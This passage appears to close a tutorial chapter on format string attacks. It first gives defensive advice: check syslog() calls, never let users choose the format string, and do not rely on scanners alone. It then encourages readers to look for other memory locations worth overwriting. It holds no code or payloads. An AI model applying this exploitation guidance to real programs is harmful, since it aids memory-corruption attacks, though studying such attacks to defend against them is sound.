This type of error is very often to be found in calls to the syslog() function. If we are not 100 per cent sure as to which parameters a specific function assumes, it is worth being absolutely sure by reading the relevant pages of the system manual. We should never give the user the ability to decide about the format string being used. Even if we think that we are filtering all tags appropriately, this type of behavior can prove to have fatal consequences. Different kinds of programs have been created that search for this type of error in the source code. Some of them are highly refined; however, they cannot be relied upon alone, for nothing can take the place of human code checking.

We hope this chapter has given the reader a solid introduction to format string attacks. Other locations exist whose overwriting can reap big rewards. While searching for different kinds of jumps, it is worth it to examine program sections closely. Without a doubt, experimentation gives much more satisfaction than using the methods described here, and it allows the continuous development of one's own skills.